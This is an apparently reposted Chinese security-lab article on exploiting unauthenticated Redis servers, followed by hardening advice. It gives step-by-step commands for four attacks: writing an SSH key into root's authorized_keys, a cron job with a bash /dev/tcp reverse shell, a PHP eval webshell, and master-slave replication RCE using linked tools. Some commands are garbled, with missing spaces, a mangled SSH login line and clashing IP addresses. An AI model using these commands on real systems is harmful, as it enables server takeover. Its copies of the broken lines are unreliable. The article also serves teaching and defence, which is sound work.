Redis作为NoSQL的代表，已经被广泛的应用在各大公司之中，所以近年来网络上出现了很多自动化的“Redis攻击病毒”，能够自主扫描并发现公司内部中可能开放Redis的服务器，并针对Redis发动自动化攻击从而获得服务器权限。本期美创安全实验室将给大家详细介绍与Redis相关的攻击利用方式并给出相应的防御方案。
Redis全称是（Remote Dictionary Server），是一个由Salvatore Sanfilippo写的key-value存储系统。与Memcached类似，都所属于NoSQL，但他支持存储的value类型相对更多，包括string、list、set、zset和hash。因此Redis在很大程度上补偿了memcached这类key/value存储的不足，除此之外Redis还支持主从同步。
数据可以从主服务器向任意数量的从服务器上同步，从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制，使得从数据库在任何地方同步树时，可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。
1. 通过写入ssh-keygen公钥获得服务器权限
漏洞原理：
SSH总共提供了两种登陆验证方式，一种是密钥验证，另外一种是口令验证的方式也就是常用的账号密码登录。所谓的密钥验证采用的是一种基于公钥密码的验证，也就是公钥加密、私钥解密，公钥存储在ssh服务器中，私钥存储在客户端中，当用户想要登录SSH时，服务器会发送一段经过公钥加密后的数据给用户，用户利用私钥解密后再发送给服务器进行验证，验证通过即可登录SSH。
这种验证方法乍一听好像很安全，但其实存在着严重的安全隐患，因为SSH并没有对服务器本身存储的公钥进行验证，这意味着如果攻击者能访问到服务器上存储公钥的目录，攻击者就可以在本地生成一对SSH公私钥对，然后将公钥拷贝进服务器的公钥存储目录中，然后攻击者就可以在本地使用与公钥匹配的私钥直接登录SSH。
当然你可能会说，如果攻击者都可以访问到服务器上的某一目录的话，这不是意味攻击者就已经有了一定的服务器权限了吗，还需要SSH吗。其实不然，因为Redis未授权漏洞的存在，我们可以利用Redis向服务器的某一个目录写入文件或数据。再对照上面提到的攻击方法，我们就可以通过Redis写入SSH公钥，然后在本地使用私钥通过密钥登陆的方法登入SSH，从而获得服务器权限。
利用条件：
①Redis服务器使用ROOT账号启动
②服务器开放了SSH服务，且开启了密钥登陆
③Redis存在未授权访问漏洞
攻击过程：
攻击机环境：192.168.210.38（Kali Linux）
靶机环境：192.168.210.37（CentOS 7）
①ssh-keygen -t rsa //生成SSH公钥
cd /root/.ssh
ls
cat id_rsa.pub
②利用Redis未授权漏洞导入SSH公钥
redis-cli -h 192.168.210.37 #连接目标主机redis服务
config get dir #检查当前保存路径
config get dbfilename #检查保存文件名
config set dir /root/.ssh/ #设置保存路径
config set dbfilenameauthorized_keys #设置保存文件名
set xz "nnn 公钥 nnn" #将公钥写入xz健
save #进行保存
③利用公钥进行SSH登录
Ssh -I /root/.ssh/[email protected]
2. 利用计划任务反弹shell获得服务器权限
漏洞原理：
在Linux当中万物皆为文件，我们可以通过操作文件进而发起一次TCP请求。除此之外，Linux还提供了一种计划任务机制，也就是我们可以事先定义好某某操作在规定的时间内自动执行。所以，如果我们可以通过Redis未授权漏洞向存放计划任务的文件中新增一条计划任务，向攻击者IP发起一次TCP连接，那我们就可以进而获得一定的服务器权限。
利用条件：
①使用ROOT权限启动Redis
②Redis存在未授权漏洞
③服务器允许向其他IP发起TCP请求
④服务器开启了计划任务功能
攻击过程：
攻击机环境：192.168.210.38（Kali Linux）
靶机环境：192.168.210.37（CentOS 7）
①利用Redis未授权漏洞写入计划任务
redis-cli -h 192.168.33.134 #连接redis
flushall #清除所有键值
config set dir/var/spool/cron/crontabs/ #设置保存路径
config set dbfilename shell #保存名称
set xz "n* * * * * bash -i>& /dev/tcp/192.168.210.37/9999 0>&1n" #将反弹shell写入xz键值
save #写入保存路径的shell文件
②攻击机上监听9999端口，接收反弹shell
Nc -nvlp 9999
3. 利用Redis未授权漏洞直接写入WebShell获得网站控制权
漏洞原理：
WebShell是一种可执行的脚本文件，攻击者可以将WebShell上传到网站后台，然后通过执行WebShell获得网站控制权。所以如果攻击者可以通过Redis未授权漏洞向网站的绝对路径下写一个WebShell文件，那么他将直接获得网站的控制权。
利用条件：
①使用ROOT权限启动Redis
②Redis存在未授权漏洞
③攻击者清楚网站目录的绝对路径
④目标网站可以执行动态脚本
攻击过程：
攻击机环境：192.168.210.38（Kali Linux）
靶机环境：192.168.20.35（Windows）
①利用Redis未授权漏洞写入WebShell
redis-cli -h 192.168.20.35 #连接Redis
config set dir F:PhpStudy20180211
PHPTutorialWWW #设置要写入shell的路径
set xz "nnn<?php @eval($_POST[‘pass’]);?>nnn" #写入webshell到xz键
config set dbfilename webshell.php #设置WebShell的文件名
save
②利用蚁剑、冰蝎等工具连接WebShell获得网站控制权
4、利用Redis主从复制GetShell
漏洞原理：
Redis如果当把数据存储在单个Redis的实例中，当读写体量比较大的时候，服务端就很难承受。为了应对这种情况，Redis就提供了主从模式，主从模式就是指使用一个redis实例作为主机，其他实例都作为备份机，其中主机和从机数据相同，而从机只负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。
在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到从机上，然后在从机上加载so文件，我们就可以执行拓展的新命令了。
利用条件：
①使用ROOT权限启动Redis
②Redis存在未授权漏洞
③服务器允许向其他IP发起TCP请求
④服务器允许进行主从复制
攻击过程：
攻击机环境：192.168.210.38（Kali Linux）
靶机环境：192.168.210.37（CentOS 7）
①利用Redis未授权漏洞设置主从模式
redis-cli -h 192.168.210.37 #连接目标机的Redis服务
slaveof 192.168.210.38 6379 #将本机设置为主机，将目标机设置为从机
②使用Redis-RCE工具，获得目标机上的反弹shell
RCE工具下载地址：
https://github.com/Ridter/redis-rce
EXP下载地址：
https://github.com/RicterZ/RedisModules-ExecuteCommand
192.168.210.38-f /RedisModules-ExecuteCommand/module.so #执行exp脚本
Nc -lvvp 5555 #攻击机上监听本地5555端口，等待反弹shell
关于Redis的防御修复方法，其实我们看Redis各项漏洞的利用条件就可以发现一些端倪。这些漏洞的利用条件都是攻击者直接通过Redis未授权漏洞发起的，因为我们默认攻击者是在外部的，所以我们的防御方法主要针对两方面，一是严格控制所有对外开放的Redis服务器，将一些没有必要对外开放的Redis让其监听在本地或内网，这样可以从源头上阻断攻击者的攻击，另一方面是针对特定的Redis漏洞，做针对性的防护。
1、通过修改redis.conf文件禁止一些Redis中的高危命令
Rename-commandFLUSHALL “”
Rename-commandCONFIG “”
Rename-commandEVAL “”
2.通过修改redis.conf文件，改变高位命令的名称
Rename-commandFLUSHALL “name1”
Rename-command CONFIG “name2”
Rename-commandEVAL “name3”
3.以低权限运行Redis服务，为Redis创建单独用户及目录
Groupadd-r redis && useradd -r -g redis redis
4.通过修改redis.conf为Redis添加密码验证
Requirepassmypassword
5.通过修改redis.conf进行外网访问Redis
Bind127.0.0.1
当然，以上都是我们所设想的理想情况，在真实环境下，攻击者可能无处不在，内网外网可能都会存在潜在的攻击者，那这时在对Redis做统一的防护显然不现实，一方面是Redis的防护策略可能不会适用所有的业务场景，二是也没有什么行之有效的解决方案，所以这时除了要对Redis做最大可能的严格配置还要对其他的服务，例如SSH、计划任务等做严格监控。
原文始发于微信公众号（第59号）：安全实验室 | Redis漏洞利用总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论